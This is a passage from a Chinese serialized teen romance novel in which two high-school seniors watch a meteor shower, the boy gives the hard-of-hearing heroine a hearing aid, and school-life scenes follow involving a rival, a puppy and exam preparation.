好不容易站稳了，祝枝跺了跺发麻的脚，忍不住问：“还有多久啊，好累。”
“不远了。”
“其他人都不见了，我们也走快点吧。”
嘴上说着走快点，实际上努力了两下就缓下速度了，李昭野跟在她身后，走走停停的，比大部队晚了半个多小时才到达。
王宇轩早就订好了露营用的帐篷，这个基地是观看流星雨的好位置，除了他们之外还有不少人也上山来看，距离预测的时间也不远了，他们找老板支起了一个篝火，围坐在一块聊天。
祝枝不太喜欢呆在嘈杂的环境中，一上来就没见到人了，李昭野找了一圈，最后在角落里找到昏昏欲睡的她。
李昭野半蹲着，伸手接住祝枝往下掉的脑袋，掌心是她脸颊肉柔软的触感。
“很困的话就去睡会，我等会叫你。”
祝枝迷迷糊糊抬头看他，李昭野给她找了个就
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近的帐篷，有些简陋，但好在能睡。
“记得要叫我。”睡之前她还叮嘱了一遍。
“知道。”李昭野确认好她已经躺下，然后放轻动作，拉好帐篷的拉链。
篝火旁此时热闹极了，大家已经开始玩起了游戏，李昭野迟迟没有出现，被催了好几遍，听了游戏介绍后，他皱眉拒绝。
一圈男孩女孩们，玩国王游戏，还被再三强调不能因为任务尺度大而拒绝，组局的几个一看就没憋什么好屁。
“不玩不玩。”
“你不来有什么意思啊？”
李昭野已经从书包里翻出耳机戴上，拒绝姿态明显。
“真没意思。”那人评价他道。
“哎行了行了，野哥不喜欢玩这种游戏，别吵他了。”王宇轩出面打圆场道。
帐篷隔音效果不算太好，但祝枝还是睡着了，提前订好的闹钟没派上用场，李昭野掐好时间拉开了帐篷。
她睡得很熟，脸颊晕着坨红，呼吸匀称，清瘦的身体蜷缩着，头发有些凌乱。
“祝枝。”李昭野把她叫醒。
睡眼惺忪的人揉了揉眼睛，迷糊地看向他。
“开始了吗？”
外面玩游戏的动静依旧很大，祝枝坐起身，浑身的困倦感让她伸了个懒腰，发出一声毛似的哼咛。
“快了，先去找位置。”
大家这会都在玩游戏，等到真要看流星雨了，就会一股脑凑过来，所以提前找到一个最方便的位置是很重要的，李昭野刚刚过来之前找老板问了一下，有个视野很好的小天台，能俯瞰整个营地。
领着人上了天台，祝枝脸颊上睡出来的红印子还在，她慢吞吞打了个哈欠，口袋里的手机响起，是妈妈打来的电话。
并排放了两个藤椅，耳边是她小声和妈妈讲电话的声音，和平时在学校里聊天的语气不同，多了几分熟稔的娇嗔，流露在眸间的笑意带着甜丝丝的温度，在昏暗的光线中格外醒目。
讲完电话，祝枝把手机收回口袋里，视线在李昭野裸露的手臂上掠过。
“你被叮了。”
李昭野顺着她的视线望去，山里的蚊虫太毒了，手臂上生出好几个蚊子包，又红又肿，看着触目惊心的。
祝枝从包里翻出药膏，递给他。
李昭野伸手接过：“我还以为你包里全都是吃的。”
“我哪有这么馋。”
空气里晕开药膏的清香味，李昭野随手涂抹了几下。
祝枝的视线落到下面热闹的人群中，有许多陌生面孔，林知阳坐在角落里，和一旁的江羡凑近说话，也不知聊到什么内容，他轻笑着，柔和的视线落在江羡身上。
“想去玩？”李昭野见她盯得出神，问道。
祝枝摇了摇头。
“没什么意思。”
刚刚还吐槽他没意思的那人是王宇轩班上的，很爱开女孩子的无聊玩笑，李昭野和他玩不到一块去。
“你可以和他们去玩。”祝枝说，“跟我在这里干坐着也没意思。”
她嘟囔着将下巴靠到膝盖上，随手拈起落在地上的细长树叶，侧过头时，脸颊肉被膝盖挤得肉嘟嘟的，很是可爱。
“把你喊来爬山又把你一个人丢下，我有这么混账吗？”
祝枝眨了眨眼，眼睛亮晶晶的，她摇头：“当然不，你人很好的。”
42. 42
观测的公告虽然早已发到各个平台，但流星雨并没有按时来临，大家都掐着时间等了很久，愈加躁动起来。
祝枝悬着腿，轻轻晃动着，她抬头盯着漆黑的天空，嘈杂的动静被她排除在外，鼻腔里是山间蓬勃生长的植物的气味。
忽然，一抹光坠落而下，在天空划出一道亮光。
她眼底也是同样的明亮，欣喜地抓住李昭野的手。
“流星！”
很快，数枚拖着尾巴的光亮划破漆黑的夜空，迅速坠落下来，像是倒放的烟花，每一次下坠，都带来彻夜的欢呼声。
祝枝也同样兴奋，眼睛弯着，盛满了流星的光。
“哇……”
简直漂亮到失语，祝枝连愿望都忘记许，眼睛一眨不眨地看着天空。
“好漂亮……”
一场盛大的流星雨坠落在初夏的夜晚，与嘈杂人群隔绝的单独相处在她迟迟未松开的掌心中升温，李昭野看向她被反复照亮的侧颜，声音逐渐温柔。
“是很漂亮。”
很快，她想起许愿，松开李昭野的手后，双手合十，闭上眼，在心里默念自己的愿望。
要去南大。
要健康，要开心。
害怕不够诚心，第二个愿望还默念了所有亲人和朋友的名字。
睁眼时，她眸光有些恍惚，下一秒便跌进李昭野幽黑的视线中。
“你不许愿吗？”
李昭野晃了晃手机。
“成绩已经出来了，稳进。”
名单还需要公示一段时间，他考完就让叔叔帮忙盯着分数线和排名，出来后第一时间就得到了消息。
祝枝眼底闪过一丝光亮，忍不住羡慕道：“哇，好厉害。”
“所以你也要努力，要更努力。”
她点头答应：“好！”
“这个给你。”李昭野把书包里的盒子翻出来，递给祝枝。
“这是什么？”
“打来看看。”
躺在包装盒里的助听器小巧而有质感，耳边传来李昭野的声音。
“这种新款式可以连蓝牙，以后你可以直接用助听器放听力，而且它很小，戴着舒适度比较高。”
祝枝错愕，回神后，她把盒子推向李昭野。
“太贵重了，我不能要。”
李昭野顿了一下，说：“我挑了很久。”
“可是——”
“以后在教室里想什么时候做听力就能什么时候做听力，嫌其他人吵，还能听歌，休息放松。”
祝枝眉头微皱，又重复道：“可是——”
“我考试前就收到快递了，已经错过了退货时间，你不收我也懒得去折腾，只能放在家里浪费掉了。”
条条路都给她堵死，祝枝瘪了瘪嘴，有些苦恼。
“可是真的太贵了点。”
她现在用的助听器是妈妈带她去挑的，成千上万的各种款式都有，祝枝不算听力受损很严重的，没有买太贵的，但李昭野送的这个牌子她有了解过，价格真的很高。
“就当祈福香囊的回礼了。”
祝枝弱弱道：“这也差太多了吧。”
都够买几千个香囊了。
“我考上学校都靠你的香囊，意义价值很高。”
祝枝：“……你明明就不信。”
“信。”他眼底荡漾着光，悠然自得地靠在椅子上，淡声开口，“你说的话我哪次没信过？”
祝枝轻叹了一口气，神色认真道：“李昭野，谢谢你的好意，但是这个真的太贵重了，我不能收。”
见来软的行不通，李昭野干脆来硬的。
“不想要的话可以丢掉，不准还给我。”
站起身的男孩垂眸看她，认真且坚定的目光让祝枝心间叩起有节奏的响动。
王宇轩在楼下找了李昭野几圈，声音越来越大，他应了一声，然后插兜准备下楼。
“李昭野。”祝枝忽然出声叫住他，声音清脆，手指用力攥住了藤椅的靠背，干净透亮的眼睛闪烁着熠熠的光，“谢谢你，我一定会好好学习的。”
她一定，一定会考上南大。
李昭野的朋友圈已经被流星雨被刷屏了，他无聊地摸着口袋里的手机，周围几个人也不知道哪来的这么多精力，正盘算着明天一早起来看日出。
那道清瘦的身影从楼上下来，安静地拐回帐篷里，翻出书包里的衣服，准备到浴室简单冲一下澡。
“野哥，你干嘛去？”
“上个厕所。”
敷衍的回答并没有被质疑，一等他离开，就讨论起了关于李昭野一晚上都在忙着什么事，总是不见人。
李昭野起身跟近祝枝，还没开口喊住她，上完洗手间的林知阳便和她迎面撞上。
“刚刚看到流星雨了吗？”林知阳跟她寒暄道。
祝枝声音很小，李昭野没太听清她回答了什么，只看到她站在林知阳面前，抬着头，专注地看向他。
“你是准备去洗澡吗？里面光线挺昏暗的，带手机了吗？”
祝枝摇头，林知阳把自己的手机递给她，轻声道：“你去洗吧，我在外面等你。”
李昭野皱了皱眉，三两步跟上去后，出声叫她。
“祝枝。”
祝枝错愕回头，喊了他一声。
“没出汗的话就别洗了，这里蚊虫多，水温也不稳定。”
本来被林知阳喊住讨论洗澡的事就已经够让祝枝难为情了，现在又多了个林知阳，她更是紧张羞赧，结结巴巴道：“没事的，我，我随便冲一下。”
林知阳还举着手机呢，祝枝看向他，小声拒绝道：“里面有灯。”
“赶紧去，我在这里等你。”
李昭野单肩靠着墙，说话的时候视线盯住林知阳。
“你有事就先走吧。”
虽然这句话是对林知阳说的，但祝枝巴不得赶紧跑，抱着衣服便钻进了女生浴室里。
“我也没什么事。”
人虽然走了，但剑拔弩张的氛围依旧还在，林知阳保持着笑意，回答道。
李昭野脸色微冷，瞥开了视线。
浴室门口一边站着一个人，进进出出的都是女孩子们，他们显得有些奇怪，李昭野只好换了个远点的地方站着，林知阳也跟了过来。
“上次祝枝和我说，你只是她的好朋友。”
平淡的语气里隐藏的锋芒让李昭野很不舒服，被捏着把柄侵略领地的感觉是在让人窝火。
林知阳简直是标准的好学生、
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读书人的做派，固守理性的同时，还有几分无法忽略的清高自傲。
“你和她还没有熟到可以交心的程度。”
是胜券在握的语气，他眼底对某些事情的笃定让林知阳愣了一下。
“所以她——”
“她怎么样你管不着，我只想问你，你现在是什么意思？你喜欢她吗？”
直逼命门的问题让林知阳措手不及，他显然没有意料到李昭野在这件事情上进攻性这么强。
李昭野心里很烦，说不出的烦，胸腔像是被灼烧着，他想要了结林知阳这些七七八八心思的想法比任何事都要强烈。
“喜欢也没用。”
林知阳是见识过李昭野在学校的号召力，省赛冠军的含金量还是很夸张的，再加上他家境优渥，长相出众，仿佛所有光环都被他轻易摘下，对比之下，好学生的榜样就显得太为逊色了。
拳被捏紧了又松开，林知阳冷静道：“考完再说。”
李昭野压根不给他任何机会。
“考完了也没用，你没机会。”
倒从没有什么时候像此时此刻的冷静，像极了杀伐果断的少年将军，拿稳了取胜的筹码，细长的眸睨视着面前的入侵者。
“除了我，谁都没机会。”
抱着衣服从女生浴室出来的祝枝换上了一身宽松的衣服，看来今天的水温还可以，她的整个脸蛋都被熏得红红的，像颗能掐出水的蜜桃，裤子只堪堪遮住膝盖，露出细又白的一截。
她正往耳朵里塞助听器，歪着脑袋，眼睛像黑葡萄似的，又圆又亮。
李昭野走上前，准备接过她手里的衣服，被祝枝红着脸躲开。
“我自己拿。”
李昭野忽然想到什么似的，慢吞吞地哦了一声后，耳朵也忍不住有些发热。
“手臂和腿都涂点药再睡，预防一下蚊虫。”
祝枝闷声嗯了一句，她瞄了周围一眼，小动作被李昭野看到。
“找谁啊？”
“没有。”
“赶紧去睡觉，帐篷拉好。”
祝枝忙不迭点了点头，她看向又张罗起游戏的同学，问：“你们都不休息吗？”
“他们准备直接玩到凌晨，看日出。”
“日出啊……”
“想看？”
“有点想看，但是很早吧。”
“也不一定有，得看天气。”李昭野把人送到了帐篷面前，“有的话我来叫你。”
上了一天课，又拖着没怎么锻炼过的身体爬山，熬到这么晚，眼底的疲倦尽显。
祝枝慢吞吞打了个哈欠，她点了点头，拉开帐篷拉链准备进去之前，忽然顿住动作，扭头看向李昭野。
李昭野被她盯得一愣：“怎么了？”
下一秒，祝枝盯着他，逐渐靠近。
“怎么了？”李昭野又问了一遍，手指下意识捏紧了衣角。
“你看，大小很合适。”
祝枝侧头把其中一只新换上的助听器给他看，正藏在她小小的耳朵里。
李昭野眸中闪过一丝笑意。
“那就好，有了这个，下周还能多刷几套英语题。”
祝枝苦兮兮地皱了皱鼻子。
“好的，我一定会努力的。”
43. 43
在流星雨下落时许下心愿，这点小小的慰藉让祝枝心情放松了许多，像是充满了干劲，每天都要写上好几套卷子，放学回了家，也要再学上两个多小时。
“洗过澡了吗？”
祝枝依旧埋着头，妈妈看了眼她尚未干透的头发，伸手撩开后，熟稔地看向耳朵里，还没戴上助听器。
忽然落在头发的动作吓得祝枝扭头，惊愕的小鹿眼落了些光，神情无辜。
她喊了声妈妈，不戴助听器的时候说话，总感觉有点奇怪。
“你这是？”
妈妈从她手里接过看起来就没怎么被使用过的助听器，皱眉问她：“你这是什么时候买的？”
祝枝把助听器拿回来，戴上。
“你这是什么时候买的？”妈妈又问了一遍。
祝枝犹豫了一会，还是抿唇诚实道：“我朋友送的。”
“怎么收人家这么贵重的东西？”妈妈低声责备道，说着，她蹲下来凑近，“大小合适吗？”
“合适的。”祝枝乖巧点头。
“原来的呢？坏了吗？”
“没有。”手指被攥紧又松开，祝枝小声解释道，“这个新的功能很多，很方便的。”
妈妈轻轻揉了揉祝枝柔软的黑发，淡淡的茉莉花香混在空气当中，房间里空调温度比较低，她穿了身中长袖的睡衣，浅粉色的，脸颊被衬得面若桃色。
“你哪个朋友啊？”妈妈试探问道。
毕竟一出手就是送这么贵的东西，叫人有点不放心。
“上次那个。”
她回忆了一下那晚来家里接人的男孩，专车接送，车牌是一串连八，配在百多万的豪车上，倒也不显高调。
“不能让人家破费，你查查多少钱，到时转给他。”
祝枝思索了一会，点头后，又在心里默默犯难。
李昭野绝对是怎么都不肯收钱的。
“你这孩子，有什么需要就跟妈妈讲呀。”温柔的大手落在祝枝头顶，带着安抚，轻轻拍着。
祝枝沉默寡言惯了，她深知自己已经在不停给家里添麻烦，所以很少和妈妈提要求，只要不是什么不解决就无法继续生活的事，祝枝都是选择自己默默解决掉。
“知道了。”
回答得倒是干脆，只是做起来就有些犯难了。
吹了一晚上的空调写题，祝枝裹着被子入睡，睁眼时脑袋都是昏昏沉沉的，起身的动作被腹部传来的疼痛生生打断，她低呼了一声，整个人不受控制地跌坐在床上。
床单沾了一大片的红，裤子也都脏了。
祝枝换上干净的衣服，收拾完之后离上课没剩多少时间，她急匆匆赶去上学，教室里已经坐满了正在埋头背书的同学。
李昭野的体考已经过了公示期，被硬拉着拍下的臭脸照，摆在学校门口的公布栏里，他已经不需要来上学，但最近早读来得比以往还要勤。
“又熬夜了？怎么这么没精神。”
祝枝摇了摇头，坐到位置上，从课桌里拿出英语书。
这段时间压力大，月经很久都不来，腹部的疼痛是一阵一阵的，祝枝开始后悔前两天贪凉多吃的那碗百合绿豆冰，吃的时候很开心，现在全成了让她泄力趴在桌子上的罪魁祸首。
大早就在桌子上趴着，实在不是祝枝的风格，李昭野凑近了些，放低声音问她：“你是不是不舒服？”
缓过一阵，祝枝又感觉好转了不少，她吸了一口气，勉强直起身子，小声道：“有点痛经。”
李昭野反应了一会，下意识看向她的肚子。
估计也是忍不了了，她拧紧细细的眉，埋进手肘里，小声溢出两声哼哼。
“这么疼啊？”
生理课有提到过女生月经期会腹痛，但没想到这么夸张，疼得她嘴唇都白了，额间有一层薄薄的汗珠，缩在座位上，看起来可怜兮兮的。
“疼一会，好一会。”
已经耽误不少时间了，祝枝拿出卷子，一旁的李昭野已经起身，给她接了壶热水回来。
他拎起挂在椅子上的校服外套，说：“不舒服就请假，我送你回去。”
“谢谢，我现在感觉还行。”
祝枝准备拧开水壶杯盖，被紧紧吸住的杯盖有点难拧，下一秒，杯子便被李昭野抽了过去，拧开递给她。
“不舒服在这里硬撑，学习效率也只会低得可怕。”
轻轻抿了一口热水，教室里空调温度逐渐低了下来，热气氤氲在空气当中，很快便消失不见。
祝枝坚持不肯回家，李昭野也没再多说，他靠在椅子上玩手机，时不时抬眸看一眼认真写题的祝枝。
燥热的温度随着黑板上考试时间的逼近而愈加明显，教室里的空调调整了两次，一次比一次低，祝枝整个身体被裹了一层淡淡的凉意，她把左手塞在肚子那取暖，右手正在马不停蹄地写着一道阅读理解题。
忽然，一件带着淡淡皂角香气的校服外套罩在祝枝身上，她错愕扭头，和李昭野对上视线，眼底带着几分惊讶。
李昭野被她看得耳热，皱眉解释道：“你这表情……衣服是干净的，我还没穿呢。”
祝枝忙解释道：“没有，我没这个意思。”
她把衣服往身上拉了拉，小声说：“谢谢啊。”
专注做某件事时很容易忽略其他的感觉，祝枝开始投入写题，整个人的思绪都扑到了卷子上，就连李昭野下楼一趟，又再回到座位上，她都没发现。
结束作文的最后一个单词，祝枝掰了掰酸痛的脖子，发现李昭野已经趴在桌子上睡着了，课桌相接的地方放了一袋暖宝宝，和一份热糖水。
她愣住，心下一暖，视线投向熟睡的李昭野。
“写完了？”
他睡眼朦胧，高挺的鼻梁上印了道红印，迷糊地指向桌子上的东西。
“趁热喝。”
祝枝揭开盖子，热糖水的温度刚刚好，她舀了一勺，小口小口喝进嘴里，像小猫喝水，动作慢吞吞的。
“谢谢。”
李昭野不自觉地挠了挠头，说：“这句话都要变成你的口头禅了。”
李昭野宽大的校服在她身上简直大了太多，为了不沾到脏的，她只好把衣袖卷起来，听到李昭野的话，她勾出一个轻柔的笑，乖巧解释道：“因为你总是给我买东西。”
“这红糖水真有用？”
她摸了摸自己的肚子，说：“舒服多了。”
“那就好。”
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>李昭野嗯了一声，拿出手机给王宇轩发消息。
-还真有点用
-野哥，你不懂，真正有用的不是红糖水，是你的关心和陪伴
-……滚
王宇轩弹过来一个表情包他轻笑着摇头，手指在键盘上敲个不停，也跟着发了两个。
一张小小的纸条被推到李昭野课桌上，他望向尚未抽回手的祝枝。
“干嘛？”
有话怎么不直接说？
他展开纸条，上面写着工整的两个字。
谢谢。
仔细一看，才下面还跟了一行小字。
-周末可以请你吃饭吗？
李昭野撇了撇嘴，单手撑靠着椅子，说：“哪有人请人吃饭是这个询问的语气啊？”
“因为你每次都抢着付钱。”祝枝控诉道。
“也不是每次吧。”
“几乎。”她又添了个词，以保自己说话准确度更高。
“好吧。”他挑眉，“这周你请我。”
“想吃什么？挑贵的。”
“客随主便。”
“去吃新开的日料怎么样？”
“可以。”他用手指抵住祝枝的额头，“但你得先吃完红糖水。”
小姑娘腮帮子鼓鼓的，重重点头。
红糖水的功效不一定真有效，但也带来了几分心理作用，而且暖和的东西下肚，确实是舒服了不少。
祝枝擦了擦嘴巴，见李昭野正在研究暖宝宝的用法。
粉色的小贴在他手里捏着，有点奇怪。
“拆开就可以了。”祝枝接过暖宝宝，撕开上面的那层薄膜，向李昭野展示。
“你没用过吗？”
“没你这么虚。”
她低着头，把暖宝宝贴到腹部，颈侧的发滑进衣领里，慢吞吞的反驳声响起：“我才不虚。”
“上次是谁爬山爬到差点喘不上气。”
“你走太快了些。”
李昭野盯着她，无奈道：“那是我这辈子爬过最慢的一次。”
“下次我努力快点。”
他轻笑，行啊，这就开始期待下次了。
“先擦擦额头上腾出来的汗吧。”
她吃惊地捂住脑袋，掌心却是干燥一片，和李昭野戏谑的视线对上后，才意识到自己又被逗了。
“李昭野！”
上课铃适时响起，这节课英语老师要讲作文，李昭野也就没再闹她了，他无聊地滑动着手机，点开弹送的捡能量的支付宝信息后，点进去瞄了一眼，把王宇轩的能量偷得干干净净，退出来的时候，发现有个陌生卡号给他转了一笔钱。
电话号码好眼熟，金额也好眼熟。
他眉头微皱，看向正在专心致志听课的祝枝。
她居然转支付宝，悄无声息的，钱都已经进了他的账户里了。
只觉得没花多少钱的李昭野并不能感同身受祝枝非要给钱的想法，买这助听器，也就只有挑的时候麻烦了些，价格也不算贵，如果有更贵的，他也会买。
但她压根都不领情，还偷偷把钱转回来。
好气。
李昭野决定了，周末不让她请自己吃饭了。
他要抢单。
44. 44
高三学生的焦虑来自于黑板上越写越小的计时数字，而李昭野最近的焦虑是来自于雪花，它好像比普通的小狗迟钝一些，到现在为止还听不懂几个指令。
自李昭野开始了解这方面的东西，帖子就铺天盖地地推送到他的账户里，也让他结结实实地感受了一把当代父母的焦虑心态。
周六晚上，祝枝正在家里写卷子，手机屏幕亮起，是李昭野给她发来了一个视频。
视频里的人正在熟练地驯化一只小狗，教它一些简单的基础指令。
祝枝很无奈。
-它还很小。
-视频里的狗比它更小
-狗又不用高考，这么努力干嘛？
让他们受高考的苦就足够了，怎么小狗也跟着卷起来了。
一看就是李昭野最近有点无聊，总爱给自己找点事做。
-明天吃完饭你要去干什么吗？
-图书馆吧。
-来军训它
军训，好认真的两个字，荒谬到祝枝都忍不住笑了。
-我是去盯着你，别欺负它。
李昭野欺负雪花的可能性还是很低的，努力蹲在它面前，嘴里反复说着指令，雪花这小笨狗心里眼里都只有他手里的零食，蹦跶着小短腿就要凑上来咬，被李昭野拦住。
“说好了，坐下就给你吃的啊。”
祝枝蹲在它旁边，看向李昭野。
“它听不明白吧。”
李昭野举起手指，低声道：“坐下。”
雪花竟然真的乖乖坐下了，李昭野立马把零食递上去，揉着它的脑袋夸道：“乖雪花，真聪明。”
“让我也试试。”
祝枝来了兴趣，接过李昭野手里的零食，对雪花正色道：“坐下。”
雪花晃着嘴巴，眼巴巴地盯着祝枝手里的小零食。
它咿呀地叫了一声，跳上来咬祝枝手里的东西。
“别给它吃。”李昭野握住她的手腕，把人往后一档，皱眉看着雪花，语气里略带了几分警告，“雪花，不准咬人。”
小狗被他吼得缩着脖子往后躲，看得祝枝心里头软乎乎的，伸手抱它，小声安抚：“别怕别怕。”
“你别凶它。”
李昭野还被教育了。
“……慈母多败儿。”
半晌，他从喉咙里憋出这么一句话。
到最后，雪花肚子都吃饱了，还是没雪花李昭野给它安排的课业任务，分别的时候，祝枝薅着他怀里的小狗叮嘱了好半天。
“晚上的狗粮还是少喂点吧，待会积食了。”
听到要被减餐，雪花立即张牙舞爪起来。
“你瞅瞅它，我敢苛扣它的粮？”
祝枝笑弯了眼，说：“你看，李昭野，说明它不是笨狗，它能听懂我们说话。”
说是李昭野让她帮忙一块去训狗，倒也了祝枝几分喘息的时间，在紧凑的高三学习当中，抽出一个下午和小狗玩玩，放松放松心情，就像是给身体充满了电。
洗过澡之后，感觉浑身轻松，写题的劲都足了不少，她正准备写题，微信就收到李昭野发来的消息。
他似乎是放弃了，拍了一张雪花窝在他床上柔软的空调被子里呼呼大睡的照片。
-懒
-睡得好香，它今天肯定累坏了。
-。
祝枝捧着手机，妈妈敲了好一会的门都没个回应，于是推开门进来，轻轻拍了拍她的肩膀。
祝枝还没戴助听器，王英指了指自己的耳朵，示意她戴上。
“怎么了妈妈？”
“和谁聊天呢，这么专注。”
玩手机被抓包，祝枝下意识把手机掐灭放回口袋里的小动作让王英有点起疑，但也没多问。
“你的快递。”
“啊，好的。”
见她没有要拆开的意思，王英主动问道：“买的什么？”
“买了两件衣服。”
“什么样的？看看。”
祝枝为难地抿了抿唇，说：“是送给朋友的礼物。”
妈妈很爱揉她的头发，是爱抚的动作。
“你这小朋友，怎么有这么多小秘密了。”
祝枝脸颊微红，小声道：“我不是小朋友了。”
确实不再是小孩心态了，以前什么事都喜欢和妈妈分享，现在就好像是有了自己的小世界，秘密都小心翼翼地藏在心里。
“早点睡觉，不要一直玩手机了呀。”
祝枝乖巧点头。
疯玩了一下午，钻进被窝里的时候祝枝感觉浑身都懒洋洋的，难得有这样舒适的夜晚，闭上眼就能睡着，一夜无梦。
按照往常的作息，祝枝起了个大早，今天剩下的时间还很多，她在书桌前背了一会英语作文，李昭野给她送的助听器功能非常齐全，直接输送到耳朵里的英文朗诵吐词清晰，祝枝磕磕巴巴地跟着念，她能勉强在音频的缝隙里听到自己的声音，说实话，不太好听。
也顾不得自卑，祝枝急着赶去上学。
常去的面包店最近在装修，已经好长一段时间没有开过门了，祝枝馋他们店里的碱水棒很久了，每次都是失望而归。
清晨是这个季节一天之中最舒服的时间，祝枝在校门口的便利店买了两个面包和一瓶牛奶，现在这个点校门口大多都是高三的学生，不少人咬着包子，手里还揣着单词本或者语文小册，神色匆匆的，眼底虽有着淡淡的乌青，但浑身上下都散发着年轻的朝气。
李昭野来得比高一的学弟学妹们还要晚，和几个没穿校服的学生一块被拦下，吊儿郎当的样子很是打眼。
“笑死了，野哥还在那里站着呢。”
“不是，他什么时候这么老实了？”
“看他那脸臭的。”
几个人趴在窗户边看李昭野的热闹，教导主任最近在抓校纪校风，一个一个指着鼻子骂过去，直到李昭野面前。
“怎么不骂了啊？”
程勇拍了一下他的脑袋：“你傻啊，野哥现在得供着。”
都是板上钉钉的大学生了，李昭野他叔叔高兴，说是要给学校捐一栋新的图书馆。
没过几分钟，李昭野就被放走了，他插着兜朝教学楼走来，视线略过窗户那儿几张傻不愣登的脸，和明目张胆摆出来的偷拍的手机，烦躁地顶了顶腮帮子，举起两根手指，对准他们的方向，露出一个略带几分凶狠的表情。
“赶紧溜。”
几
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个人好一通闹腾，回到位置上的时候，李昭野眼底还残余些许笑意。
作为祝枝最近的英语私教，李昭野凑近看了眼她桌上的卷子，点头道：“还算听话。”
祝枝笑了，举起卷子：“嘿嘿，是昨天晚上的作业，没写完。”
李昭野嘶了一声。
“七点多就送你回去了，都没写完？”
说起这个，祝枝还有点得意，她举起两根葱白的手指，轻轻晃了晃：“我写了两张物理卷子。”
她太爱写物理卷子了，熟悉的题目，烂熟于心的公式，和每次解决完难题之后的愉悦感，简直让人上瘾。
“……”
“赶紧写。”李昭野催她。
“知道知道。”
马尾辫被她单手梳到肩侧，笔头靠在下巴处，眉眼乖顺地看着卷子上的题。
李昭野没了动静，祝枝下意识看向他。
那人正靠着手肘，精致的五官上落了几分淡漠的疏离，聚着光的黑眸将她整个人都给罩住。
“你别看着我。”祝枝难为情道。
“我看你选对了没有。”
“别呀，我好有压力的。”
“瞅你这点出息，那高考的时候监考老师要是站你边上，岂不是脑袋要短路了？”
“监考老师不可以站在学生边上。”她小声说，“而且你盯着我，会让我更紧张。”
李昭野啧了一声，说她麻烦。
收回视线后，他瞥见祝枝放在座位中间的快递盒子。
“这是什么？”
“哦，你不说我都忘了。”
祝枝把盒子拿了起来，从里面拎出一个纸袋。
她笑眯眯的，抬头看他：“我给你买了同款衣服。”
“什么同款衣服？”
李昭野狐疑地把东西接了过来，边拆开包装，边在心里嘀咕。
搞什么啊，这是要穿情侣装？要不要这么明目张胆啊。
不会是那种幼稚到爆炸的吧，什么粉的蓝的、卡通爱心之类的，他倒是无所谓，只是真穿到学校来，被程勇他们几个笑话一下，她不又得面红耳赤，害羞到不敢抬头啊。
李昭野边在脑袋里进行头脑风暴，一边拿出一件剪裁舒适的T恤衫，是白色的，上面画着一只卡通小狗狗，风格像美式漫画，祝枝凑近，笑嘻嘻拿出另外一件。
“你和雪花的同款，好可爱的。”
……6。
不是情侣装，是亲子装。
扑了空的心情让人有点恼火，他啧了一声，吐槽道：“好蠢。”
“哪有，明明就很可爱啊。”
祝枝拎起雪花的那件小小的T恤衫，特地买的最小号，上面的的滑稽小狗因为布料的拉扯而变形，看起来特别可爱。
“我看别的小狗穿都很可爱的，带回去给雪花试试，尺码不对我再去换。”
李昭野没反应。
祝枝看向他，发现他表情有点臭。
祝枝不解地挠了挠下巴，声音弱弱的：“啊？真的有这么蠢吗？”
“蠢。”
李昭野评价完，把衣服一把塞回书包里。
“很蠢。”
他又愤愤地补充了一句。
45. 45
李昭野的训练计划最近愈加频繁了起来，开学不久后就有新生能参加的大赛，届时不少圈里很有水平的高手都会来，是一个交流研讨的好机会。
但他每天都会雷打不动地在教室待一个上午，帮祝枝看看错题，替她提分。
现在的体育课基本上都被占光了，但被锁在教室的学生们总是需要一点放松的时间。
凑不齐一整节篮球赛，大家基本上只打半节，李昭野已经很久没打球了，生疏了不少。
祝枝被李昭野喊下来看球，她不太懂，但也知道进球是得分，只是有时候李昭野还没伸手投篮，就会收获一大波的欢呼声，搞得祝枝总以为自己错过了什么精彩时刻，着急忙慌抬头看球。
难得的娱乐时间，大家都打得挺开心的，球场上的氛围很好，多了几分高三学长们的游刃有余，十分钟下来，乌龙球都进了两个，大家哄笑作一团。
哨声响起，李昭野把衣摆拽起来擦了擦脸上的汗，一闪而过的薄肌就这么露在众目睽睽下，T恤上那只滑稽的小狗已经被汗沾湿了大半，看起来有点狼狈。
眼底荡漾的笑意很是明显，有几个女生拦住他去送水，李昭野眸光微滞，摆手拒绝后，径直走向祝枝。
围观的人很多，李昭野简直就像视线收集器，走到哪里都是众星捧月的。
他眸色淡然，目标明确，站到祝枝面前。
“躲这干嘛？”
“没躲。”
只是人太多了，几个球下来，她就被挤到后面来了。
祝枝把水递给他，急促的呼吸让他的胸膛都在随之起伏，接过水后，李昭野仰头喝下，从下颚处顺着一路滚下的汗珠滑过喉结，随着吞咽的动作没入衣领间。
数道视线跟着李昭野一块而来，祝枝抿了抿唇，再次接过他递来的水，几乎都空了。
“我再去给你买一瓶吧。”她说。
手指插进发间轻轻揉了揉，微微的汗意在少年人灼热的呼吸间混杂着，李昭野单手把放在祝枝怀里的外套给拎了起来，搭在肩膀上，说：“不用了，回教室接去。”
“不打了吗？”
她偏头问话，李昭野往右挪了小半步，但依旧保持着和她并肩的距离。
“不打了，他们说要回去背书。”
祝枝轻轻地哦了一声，被众多视线盯得有些心焦的她稍微加快了些步子，低声道：“我也要回去背书了。”
李昭野轻轻拽住她的衣领，把人往自己怀里拉了拉，又担心汗蹭到她身上，忙道：“走这么急，路都不看了？”
祝枝稳稳跨过前面的台阶，她扭头，脸颊肉鼓鼓的，抱怨道：“我看到了。”
李昭野松开她：“提醒你还成我的错了？”
祝枝理了理被他拽歪的衣领，闷声往前走。
李昭野喝剩的水瓶被他丢进垃圾桶里，跑了这么久的他显然是没喝够，饶是已经离开球场很远的一段距离，还是有两个小学妹怯生生地跟在他们身后，手里捏着两瓶矿泉水。
抓到他丢垃圾的间隙，学妹很快鼓起勇气走上前来，把水递给他。
迎面而来的林知阳正在别红袖套，准备去教导处统分，祝枝一个猝不及防的抬头便和他撞上了视线，一时间有些发懵，睁着大眼睛盯着他。
林知阳早就习惯她的内敛，于是主动打招呼道：“祝枝。”
祝枝抿唇笑了笑。
“刚刚在办公室看到你们老师展示你的物理卷子了，全年级唯一一个满分，真厉害。”
祝枝被夸得脸颊泛红，这下更不知道该说点什么掩盖自己跳动个不停的心脏了。
林知阳也很有耐心，站着等她回答。
下唇被祝枝碾了又碾，最后只小声道：“运气好而已。”
“主要是最后那道选择题太有迷惑性了，基本上只错那一题。”
“嗯……之前刷到过类似的。”
这边的李昭野刚拒绝完学妹的水，正口干舌燥地厉害，便见着在教学楼下聊得火热的两人，他神色微敛，走近。
拖着声音的抱怨声强制挤进两个人的对话中，李昭野瘪了瘪嘴，视线落在祝枝脸上，说：“我渴死了。”
“我说了给你再买一瓶。”
